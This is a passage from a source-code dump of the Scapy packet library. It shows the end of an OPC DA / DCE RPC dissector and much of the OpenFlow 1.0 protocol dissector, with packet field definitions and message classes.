'\\x00\\x00\\x00\\x00', LenStringPacket),\n        IntField('pad2', 0),\n        PacketField('resultList', None, ResultList),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]  # To complete\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaAlter_Context_RespLE = _make_le(OpcDaAlter_Context_Resp)\n\n\n# The shutdown PDU is sent by the server to request that a client terminate the\n#  connection, freeing the related resources.\n# The shutdown PDU never contains an authentication verifier even if\n#  authentication services are in use.\nclass OpcDaShutdown(Packet):\n    # DCE 1.1 RPC - 12.6.4.11\n    name = \"OpcDaShutdown\"\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\n# The cancel PDU is used to forward a cancel.\nclass OpcDaCo_cancel(Packet):\n    # DCE 1.1 RPC - 12.5.3.3\n    name = \"OpcDaCO_cancel\"\n    fields_desc = [\n        PacketField('authentication', None, AuthentificationProtocol),\n        IntField('version', 0),\n        IntField('cancelId', 0),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaCo_cancelLE = _make_le(OpcDaCo_cancel)\n\n\n# The orphaned PDU is used by a client to notify a server that it is aborting a\n#  request in progress that has not been entirely transmitted yet, or that it\n#  is aborting a (possibly lengthy) response in progress.\nclass OpcDaOrphaned(AuthentificationProtocol):\n    name = \"OpcDaOrphaned\"\n\n\n# DCE 1.1 RPC sect 12\n_opcDa_pdu_classes = {\n    0: [OpcDaRequest, OpcDaRequestLE],\n    1: [OpcDaPing, OpcDaPing],\n    2: [OpcDaResponse, OpcDaResponseLE],\n    3: [OpcDaFault, OpcDaFaultLE],\n    4: [OpcDaWorking, OpcDaWorking],\n    5: [OpcDaNoCall, OpcDaNoCallLE],\n    6: [OpcDaReject, OpcDaRejectLE],\n    7: [OpcDaAck, OpcDaAck],\n    8: [OpcDaCl_cancel, OpcDaCl_cancelLE],\n    9: [OpcDaFack, OpcDaFackLE],\n    10: [OpcDaCancel_ack, OpcDaCancel_ackLE],\n    11: [OpcDaBind, OpcDaBindLE],\n    12: [OpcDaBind_ack, OpcDaBind_ackLE],\n    13: [OpcDaBind_nak, OpcDaBind_nakLE],\n    14: [OpcDaAlter_context, OpcDaAlter_contextLE],\n    15: [OpcDaAlter_Context_Resp, OpcDaAlter_Context_RespLE],\n    17: [OpcDaShutdown, OpcDaShutdown],\n    18: [OpcDaCo_cancel, OpcDaCo_cancelLE],\n    19: [OpcDaOrphaned, OpcDaOrphaned],\n    # Not in the official documentation\n    16: [OpcDaAuth3, OpcDaAuth3LE],\n}\n\n\nclass OpcDaHeaderN(Packet):\n    # Last 3 fields of the common fields, used for dispatching the PDUs\n    name = \"OpcDaHeaderNext\"\n    fields_desc = [\n        ShortField('fragLength', 0),\n        ShortEnumField('authLength', 0, _authentification_protocol),\n        IntField('callID', 0)\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.underlayer:\n            try:\n                return _opcDa_pdu_classes[self.underlayer.pduType][\n                    self.__class__.__name__.endswith(\"LE\")\n                ]\n            except AttributeError:\n                pass\n        return conf.raw_layer\n\n\nOpcDaHeaderNLE = _make_le(OpcDaHeaderN)\n\n\n_opcda_next_header = {\n    0: OpcDaHeaderN,\n    1: OpcDaHeaderNLE\n}\n\n\nclass OpcDaHeaderMessage(Packet):\n    # An actual RPC PDU\n    # DCE 1.1 RPC - 12.6.3.1\n    name = \"OpcDaHeader\"\n    deprecated_fields = {\n        \"pdu_type\": (\"pduType\", \"2.5.0\"),\n    }\n    fields_desc = [\n        ByteField('versionMajor', 0),\n        ByteField('versionMinor', 0),\n        ByteEnumField(\"pduType\", 0, _pduType),\n        FlagsField('pfc_flags', 0, 8, _pfc_flags),\n        # Non-Delivery Report/Receipt  (NDR) Format Label\n        # DCE 1.1 RPC - 14.1\n        BitEnumField('integerRepresentation', 1, 4,\n                     {0: \"bigEndian\", 1: \"littleEndian\"}),\n        BitEnumField('characterRepresentation', 0, 4,\n                     {0: \"ascii\", 1: \"ebcdic\"}),\n        ByteEnumField('floatingPointRepresentation', 0,\n                      {0: \"ieee\", 1: \"vax\", 2: \"cray\", 3: \"ibm\"}),\n        ShortField('res', 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        try:\n            return _opcda_next_header[self.integerRepresentation]\n        except Exception:\n            pass\n# try:\n#     return _opcDa_pdu_classes[self.pduType][self.integerRepresentation]\n# except Exception:\n#     pass\n\n\nclass OpcDaMessage(Packet):\n    name = \"OpcDaMessage\"\n    fields_desc = [\n        PacketField('OpcDaMessage', None, OpcDaHeaderMessage)\n    ]\n"
  },
  {
    "path": "scapy/contrib/openflow.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 2014 Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nOpenFlow v1.0.1\n\nOpenFlow is an open standard used in SDN deployments.\nSpecifications can be retrieved from https://www.opennetworking.org/\n\"\"\"\n\n# scapy.contrib.description = Openflow v1.0\n# scapy.contrib.status = loads\n\nimport struct\n\n\nfrom scapy.compat import chb, orb, raw\nfrom scapy.config import conf\nfrom scapy.error import warning\nfrom scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, FieldLenField, FlagsField, IntEnumField, IntField, IPField, LongField, MACField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, XIntField, XShortField  # noqa: E501\nfrom scapy.layers.l2 import Ether\nfrom scapy.layers.inet import TCP\nfrom scapy.packet import Packet, Raw, bind_bottom_up, bind_top_down\nfrom scapy.utils import binrepr\n\n\n# If prereq_autocomplete is True then match prerequisites will be\n# automatically handled. See OFPMatch class.\nconf.contribs['OPENFLOW'] = {'prereq_autocomplete': True}\n\n#####################################################\n#                 Predefined values                 #\n#####################################################\n\nofp_port_no = {0xfff8: \"IN_PORT\",\n               0xfff9: \"TABLE\",\n               0xfffa: \"NORMAL\",\n               0xfffb: \"FLOOD\",\n               0xfffc: \"ALL\",\n               0xfffd: \"CONTROLLER\",\n               0xfffe: \"LOCAL\",\n               0xffff: \"NONE\"}\n\nofp_table = {0xff: \"ALL\"}\n\nofp_queue = {0xffffffff: \"ALL\"}\n\nofp_buffer = {0xffffffff: \"NO_BUFFER\"}\n\nofp_max_len = {0xffff: \"NO_BUFFER\"}\n\n#####################################################\n#                 Common structures                 #\n#####################################################\n\n# The following structures will be used in different types\n# of OpenFlow messages: ports, matches, actions, queues.\n\n\n#                     Ports                     #\n\nofp_port_config = [\"PORT_DOWN\",\n                   \"NO_STP\",\n                   \"NO_RECV\",\n                   \"NO_RECV_STP\",\n                   \"NO_FLOOD\",\n                   \"NO_FWD\",\n                   \"NO_PACKET_IN\"]\n\nofp_port_state = [\"LINK_DOWN\"]\n\nofp_port_state_stp = {0: \"OFPPS_STP_LISTEN\",\n                      1: \"OFPPS_STP_LEARN\",\n                      2: \"OFPPS_STP_FORWARD\",\n                      3: \"OFPPS_STP_BLOCK\"}\n\nofp_port_features = [\"10MB_HD\",\n                     \"10MB_FD\",\n                     \"100MB_HD\",\n                     \"100MB_FD\",\n                     \"1GB_HD\",\n                     \"1GB_FD\",\n                     \"10GB_FD\",\n                     \"COPPER\",\n                     \"FIBER\",\n                     \"AUTONEG\",\n                     \"PAUSE\",\n                     \"PAUSE_ASYM\"]\n\n\nclass OFPPhyPort(Packet):\n    name = \"OFP_PHY_PORT\"\n    fields_desc = [ShortEnumField(\"port_no\", 0, ofp_port_no),\n                   MACField(\"hw_addr\", \"0\"),\n                   StrFixedLenField(\"port_name\", \"\", 16),\n                   FlagsField(\"config\", 0, 32, ofp_port_config),\n                   BitEnumField(\"stp_state\", 0, 24, ofp_port_state),\n                   FlagsField(\"state\", 0, 8, ofp_port_state),\n                   FlagsField(\"curr\", 0, 32, ofp_port_features),\n                   FlagsField(\"advertised\", 0, 32, ofp_port_features),\n                   FlagsField(\"supported\", 0, 32, ofp_port_features),\n                   FlagsField(\"peer\", 0, 32, ofp_port_features)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMatch(Packet):\n    name = \"OFP_MATCH\"\n    fields_desc = [FlagsField(\"wildcards1\", None, 12, [\"DL_VLAN_PCP\",\n                                                       \"NW_TOS\"]),\n                   BitField(\"nw_dst_mask\", None, 6),\n                   BitField(\"nw_src_mask\", None, 6),\n                   FlagsField(\"wildcards2\", None, 8, [\"IN_PORT\",\n                                                      \"DL_VLAN\",\n                                                      \"DL_SRC\",\n                                                      \"DL_DST\",\n                                                      \"DL_TYPE\",\n                                                      \"NW_PROTO\",\n                                                      \"TP_SRC\",\n                                                      \"TP_DST\"]),\n                   ShortEnumField(\"in_port\", None, ofp_port_no),\n                   MACField(\"dl_src\", None),\n                   MACField(\"dl_dst\", None),\n                   ShortField(\"dl_vlan\", None),\n                   ByteField(\"dl_vlan_pcp\", None),\n                   XByteField(\"pad1\", None),\n                   ShortField(\"dl_type\", None),\n                   ByteField(\"nw_tos\", None),\n                   ByteField(\"nw_proto\", None),\n                   XShortField(\"pad2\", None),\n                   IPField(\"nw_src\", \"0\"),\n                   IPField(\"nw_dst\", \"0\"),\n                   ShortField(\"tp_src\", None),\n                   ShortField(\"tp_dst\", None)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n    # with post_build we create the wildcards field bit by bit\n    def post_build(self, p, pay):\n        # first 10 bits of an ofp_match are always set to 0\n        lst_bits = \"0\" * 10\n\n        # when one field has not been declared, it is assumed to be wildcarded\n        if self.wildcards1 is None:\n            if self.nw_tos is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.dl_vlan_pcp is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n        else:\n            w1 = binrepr(self.wildcards1)\n            lst_bits += \"0\" * (2 - len(w1))\n            lst_bits += w1\n\n        # ip masks use 6 bits each\n        if self.nw_dst_mask is None:\n            if self.nw_dst == \"0\":\n                lst_bits += \"111111\"\n            # 0x100000 would be ok too (32-bit IP mask)\n            else:\n                lst_bits += \"0\" * 6\n        else:\n            m1 = binrepr(self.nw_dst_mask)\n            lst_bits += \"0\" * (6 - len(m1))\n            lst_bits += m1\n        if self.nw_src_mask is None:\n            if self.nw_src == \"0\":\n                lst_bits += \"111111\"\n            else:\n                lst_bits += \"0\" * 6\n        else:\n            m2 = binrepr(self.nw_src_mask)\n            lst_bits += \"0\" * (6 - len(m2))\n            lst_bits += m2\n\n        # wildcards2 works the same way as wildcards1\n        if self.wildcards2 is None:\n            if self.tp_dst is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.tp_src is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.nw_proto is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.dl_type is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.dl_dst is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.dl_src is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.dl_vlan is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n            if self.in_port is None:\n                lst_bits += \"1\"\n            else:\n                lst_bits += \"0\"\n        else:\n            w2 = binrepr(self.wildcards2)\n            lst_bits += \"0\" * (8 - len(w2))\n            lst_bits += w2\n\n        # In order to write OFPMatch compliant with the specifications,\n        # if prereq_autocomplete has been set to True\n        # we assume ethertype=IP or nwproto=TCP when appropriate subfields are provided.  # noqa: E501\n        if conf.contribs['OPENFLOW']['prereq_autocomplete']:\n            if self.dl_type is None:\n                if self.nw_src != \"0\" or self.nw_dst != \"0\" or \\\n                        self.nw_proto is not None or self.nw_tos is not None:\n                    p = p[:22] + struct.pack(\"!H\", 0x0800) + p[24:]\n                    lst_bits = lst_bits[:-5] + \"0\" + lst_bits[-4:]\n            if self.nw_proto is None:\n                if self.tp_src is not None or self.tp_dst is not None:\n                    p = p[:22] + struct.pack(\"!H\", 0x0800) + p[24:]\n                    lst_bits = lst_bits[:-5] + \"0\" + lst_bits[-4:]\n                    p = p[:25] + struct.pack(\"!B\", 0x06) + p[26:]\n                    lst_bits = lst_bits[:-6] + \"0\" + lst_bits[-5:]\n\n        ins = b\"\".join(chb(int(\"\".join(x), 2)) for x in zip(*[iter(lst_bits)] * 8))  # noqa: E501\n        p = ins + p[4:]\n        return p + pay\n\n\nclass _ofp_header(Packet):\n    name = \"Dummy OpenFlow Header for some lower layers\"\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        return p + pay\n\n\nclass _ofp_header_item(Packet):\n    name = \"Dummy OpenFlow Header for items layers\"\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = struct.pack(\"!H\", tmp_len) + p[2:]\n        return p + pay\n\n\n#                      Actions                      #\n\n\nclass _UnknownOpenFlow(Raw):\n    name = \"Unknown OpenFlow packet\"\n\n\nclass OpenFlow(_ofp_header):\n    name = \"OpenFlow dissector\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            version = orb(_pkt[0])\n            if version == 0x04:  # OpenFlow 1.3\n                from scapy.contrib.openflow3 import OpenFlow3\n                return OpenFlow3.dispatch_hook(_pkt, *args, **kargs)\n            elif version == 0x01:  # OpenFlow 1.0\n                # port 6653 has been allocated by IANA, port 6633 should no\n                # longer be used\n                # OpenFlow function may be called with a None\n                # self in OFPPacketField\n                of_type = orb(_pkt[1])\n                if of_type == 1:\n                    err_type = orb(_pkt[9])\n                    # err_type is a short int, but last byte is enough\n                    if err_type == 255:\n                        err_type = 65535\n                    return ofp_error_cls[err_type]\n                elif of_type == 16:\n                    mp_type = orb(_pkt[9])\n                    if mp_type == 255:\n                        mp_type = 65535\n                    return ofp_stats_request_cls[mp_type]\n                elif of_type == 17:\n                    mp_type = orb(_pkt[9])\n                    if mp_type == 255:\n                        mp_type = 65535\n                    return ofp_stats_reply_cls[mp_type]\n                else:\n                    return ofpt_cls[of_type]\n            else:\n                warning(\"Unknown OpenFlow packet\")\n        return _UnknownOpenFlow\n\n\nofp_action_types = {0: \"OFPAT_OUTPUT\",\n                    1: \"OFPAT_SET_VLAN_VID\",\n                    2: \"OFPAT_SET_VLAN_PCP\",\n                    3: \"OFPAT_STRIP_VLAN\",\n                    4: \"OFPAT_SET_DL_SRC\",\n                    5: \"OFPAT_SET_DL_DST\",\n                    6: \"OFPAT_SET_NW_SRC\",\n                    7: \"OFPAT_SET_NW_DST\",\n                    8: \"OFPAT_SET_NW_TOS\",\n                    9: \"OFPAT_SET_TP_SRC\",\n                    10: \"OFPAT_SET_TP_DST\",\n                    11: \"OFPAT_ENQUEUE\",\n                    65535: \"OFPAT_VENDOR\"}\n\n\nclass OFPATOutput(OpenFlow):\n    name = \"OFPAT_OUTPUT\"\n    fields_desc = [ShortEnumField(\"type\", 0, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortEnumField(\"port\", 0, ofp_port_no),\n                   ShortEnumField(\"max_len\", \"NO_BUFFER\", ofp_max_len)]\n\n\nclass OFPATSetVLANVID(OpenFlow):\n    name = \"OFPAT_SET_VLAN_VID\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"vlan_vid\", 0),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATSetVLANPCP(OpenFlow):\n    name = \"OFPAT_SET_VLAN_PCP\"\n    fields_desc = [ShortEnumField(\"type\", 2, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"vlan_pcp\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPATStripVLAN(OpenFlow):\n    name = \"OFPAT_STRIP_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 3, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATSetDlSrc(OpenFlow):\n    name = \"OFPAT_SET_DL_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 4, ofp_action_types),\n                   ShortField(\"len\", 16),\n                   MACField(\"dl_addr\", \"0\"),\n                   XBitField(\"pad\", 0, 48)]\n\n\nclass OFPATSetDlDst(OpenFlow):\n    name = \"OFPAT_SET_DL_DST\"\n    fields_desc = [ShortEnumField(\"type\", 5, ofp_action_types),\n                   ShortField(\"len\", 16),\n                   MACField(\"dl_addr\", \"0\"),\n                   XBitField(\"pad\", 0, 48)]\n\n\nclass OFPATSetNwSrc(OpenFlow):\n    name = \"OFPAT_SET_NW_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 6, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IPField(\"nw_addr\", \"0\")]\n\n\nclass OFPATSetNwDst(OpenFlow):\n    name = \"OFPAT_SET_NW_DST\"\n    fields_desc = [ShortEnumField(\"type\", 7, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IPField(\"nw_addr\", \"0\")]\n\n\nclass OFPATSetNwToS(OpenFlow):\n    name = \"OFPAT_SET_TP_TOS\"\n    fields_desc = [ShortEnumField(\"type\", 8, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"nw_tos\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPATSetTpSrc(OpenFlow):\n    name = \"OFPAT_SET_TP_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 9, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"tp_port\", 0),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATSetTpDst(OpenFlow):\n    name = \"OFPAT_SET_TP_DST\"\n    fields_desc = [ShortEnumField(\"type\", 10, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"tp_port\", 0),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATEnqueue(OpenFlow):\n    name = \"OFPAT_ENQUEUE\"\n    fields_desc = [ShortEnumField(\"type\", 11, ofp_action_types),\n                   ShortField(\"len\", 16),\n                   ShortEnumField(\"port\", 0, ofp_port_no),\n                   XBitField(\"pad\", 0, 48),\n                   IntField(\"queue_id\", 0)]\n\n\nclass OFPATVendor(OpenFlow):\n    name = \"OFPAT_VENDOR\"\n    fields_desc = [ShortEnumField(\"type\", 65535, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IntField(\"vendor\", 0)]\n\n\nofp_action_cls = {0: OFPATOutput,\n                  1: OFPATSetVLANVID,\n                  2: OFPATSetVLANPCP,\n                  3: OFPATStripVLAN,\n                  4: OFPATSetDlSrc,\n                  5: OFPATSetDlDst,\n                  6: OFPATSetNwSrc,\n                  7: OFPATSetNwDst,\n                  8: OFPATSetNwToS,\n                  9: OFPATSetTpSrc,\n                  10: OFPATSetTpDst,\n                  11: OFPATEnqueue,\n                  65535: OFPATVendor}\n\n\nclass OFPAT(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_action_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\n#                       Queues                      #\n\n\nofp_queue_property_types = {0: \"OFPQT_NONE\",\n                            1: \"OFPQT_MIN_RATE\"}\n\n\nclass OFPQTNone(_ofp_header):\n    name = \"OFPQT_NONE\"\n    fields_desc = [ShortEnumField(\"type\", 0, ofp_queue_property_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPQTMinRate(_ofp_header):\n    name = \"OFPQT_MIN_RATE\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_queue_property_types),\n                   ShortField(\"len\", 16),\n                   XIntField(\"pad\", 0),\n                   ShortField(\"rate\", 0),\n                   XBitField(\"pad2\", 0, 48)]\n\n\nofp_queue_property_cls = {0: OFPQTNone,\n                          1: OFPQTMinRate}\n\n\nclass OFPQT(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_queue_property_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPPacketQueue(Packet):\n    name = \"OFP_PACKET_QUEUE\"\n    fields_desc = [IntField(\"queue_id\", 0),\n                   ShortField(\"len\", None),\n                   XShortField(\"pad\", 0),\n                   PacketListField(\"properties\", [], OFPQT,\n                                   length_from=lambda pkt:pkt.len - 8)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n    def post_build(self, p, pay):\n        if self.properties == []:\n            p += raw(OFPQTNone())\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p + pay\n\n\n#####################################################\n#              OpenFlow 1.0 Messages                #\n#####################################################\n\n\nofp_version = {0x01: \"OpenFlow 1.0\",\n               0x02: \"OpenFlow 1.1\",\n               0x03: \"OpenFlow 1.2\",\n               0x04: \"OpenFlow 1.3\",\n               0x05: \"OpenFlow 1.4\"}\n\nofp_type = {0: \"OFPT_HELLO\",\n            1: \"OFPT_ERROR\",\n            2: \"OFPT_ECHO_REQUEST\",\n            3: \"OFPT_ECHO_REPLY\",\n            4: \"OFPT_VENDOR\",\n            5: \"OFPT_FEATURES_REQUEST\",\n            6: \"OFPT_FEATURES_REPLY\",\n            7: \"OFPT_GET_CONFIG_REQUEST\",\n            8: \"OFPT_GET_CONFIG_REPLY\",\n            9: \"OFPT_SET_CONFIG\",\n            10: \"OFPT_PACKET_IN\",\n            11: \"OFPT_FLOW_REMOVED\",\n            12: \"OFPT_PORT_STATUS\",\n            13: \"OFPT_PACKET_OUT\",\n            14: \"OFPT_FLOW_MOD\",\n            15: \"OFPT_PORT_MOD\",\n            16: \"OFPT_STATS_REQUEST\",\n            17: \"OFPT_STATS_REPLY\",\n            18: \"OFPT_BARRIER_REQUEST\",\n            19: \"OFPT_BARRIER_REPLY\",\n            20: \"OFPT_QUEUE_GET_CONFIG_REQUEST\",\n            21: \"OFPT_QUEUE_GET_CONFIG_REPLY\"}\n\n\nclass OFPTHello(_ofp_header):\n    name = \"OFPT_HELLO\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 0, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\n#####################################################\n#                    OFPT_ERROR                     #\n#####################################################\n\n# this class will be used to display some messages\n# sent back by the switch after an error\n\n\nclass OFPacketField(PacketField):\n    def getfield(self, pkt, s):\n        try:\n            tmp_len = s[2:4]\n            tmp_len = struct.unpack(\"!H\", tmp_len)[0]\n            ofload = s[:tmp_len]\n            remain = s[tmp_len:]\n            return remain, OpenFlow(ofload)\n        except Exception:\n            return \"\", Raw(s)\n\n\nofp_error_type = {0: \"OFPET_HELLO_FAILED\",\n                  1: \"OFPET_BAD_REQUEST\",\n                  2: \"OFPET_BAD_ACTION\",\n                  3: \"OFPET_FLOW_MOD_FAILED\",\n                  4: \"OFPET_PORT_MOD_FAILED\",\n                  5: \"OFPET_QUEUE_OP_FAILED\"}\n\n\nclass OFPETHelloFailed(_ofp_header):\n    name = \"OFPET_HELLO_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 0, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPHFC_INCOMPATIBLE\",\n                                                 1: \"OFPHFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETBadRequest(_ofp_header):\n    name = \"OFPET_BAD_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 1, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPBRC_BAD_VERSION\",\n                                                 1: \"OFPBRC_BAD_TYPE\",\n                                                 2: \"OFPBRC_BAD_STAT\",\n                                                 3: \"OFPBRC_BAD_VENDOR\",\n                                                 4: \"OFPBRC_BAD_SUBTYPE\",\n                                                 5: \"OFPBRC_EPERM\",\n                                                 6: \"OFPBRC_BAD_LEN\",\n                                                 7: \"OFPBRC_BUFFER_EMPTY\",\n                                                 8: \"OFPBRC_BUFFER_UNKNOWN\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETBadAction(_ofp_header):\n    name = \"OFPET_BAD_ACTION\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 2, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPBAC_BAD_TYPE\",\n                                                 1: \"OFPBAC_BAD_LEN\",\n                                                 2: \"OFPBAC_BAD_VENDOR\",\n                                                 3: \"OFPBAC_BAD_VENDOR_TYPE\",\n                                                 4: \"OFPBAC_BAD_OUT_PORT\",\n                                                 5: \"OFPBAC_BAD_ARGUMENT\",\n                                                 6: \"OFPBAC_EPERM\",\n                                                 7: \"OFPBAC_TOO_MANY\",\n                                                 8: \"OFPBAC_BAD_QUEUE\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETFlowModFailed(_ofp_header):\n    name = \"OFPET_FLOW_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 3, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPFMFC_ALL_TABLES_FULL\",\n                                                 1: \"OFPFMFC_OVERLAP\",\n                                                 2: \"OFPFMFC_EPERM\",\n                                                 3: \"OFPFMFC_BAD_EMERG_TIMEOUT\",  # noqa: E501\n                                                 4: \"OFPFMFC_BAD_COMMAND\",\n                                                 5: \"OFPFMFC_UNSUPPORTED\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETPortModFailed(_ofp_header):\n    name = \"OFPET_PORT_MOD_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 4, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPPMFC_BAD_PORT\",\n                                                 1: \"OFPPMFC_BAD_HW_ADDR\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\nclass OFPETQueueOpFailed(_ofp_header):\n    name = \"OFPET_QUEUE_OP_FAILED\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 1, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"errtype\", 5, ofp_error_type),\n                   ShortEnumField(\"errcode\", 0, {0: \"OFPQOFC_BAD_PORT\",\n                                                 1: \"OFPQOFC_BAD_QUEUE\",\n                                                 2: \"OFPQOFC_EPERM\"}),\n                   OFPacketField(\"data\", \"\", Raw)]\n\n\n# ofp_error_cls allows generic method OpenFlow() to choose the right class for dissection  # noqa: E501\nofp_error_cls = {0: OFPETHelloFailed,\n                 1: OFPETBadRequest,\n                 2: OFPETBadAction,\n                 3: OFPETFlowModFailed,\n                 4: OFPETPortModFailed,\n                 5: OFPETQueueOpFailed}\n\n#                end of OFPT_ERRORS                 #\n\n\nclass OFPTEchoRequest(_ofp_header):\n    name = \"OFPT_ECHO_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 2, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTEchoReply(_ofp_header):\n    name = \"OFPT_ECHO_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 3, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTVendor(_ofp_header):\n    name = \"OFPT_VENDOR\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 4, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntField(\"vendor\", 0)]\n\n\nclass OFPTFeaturesRequest(_ofp_header):\n    name = \"OFPT_FEATURES_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 5, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nofp_action_types_flags = [v for v in ofp_action_types.values()\n                          if v != 'OFPAT_VENDOR']\n\n\nclass OFPTFeaturesReply(_ofp_header):\n    name = \"OFPT_FEATURES_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 6, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   LongField(\"datapath_id\", 0),\n                   IntField(\"n_buffers\", 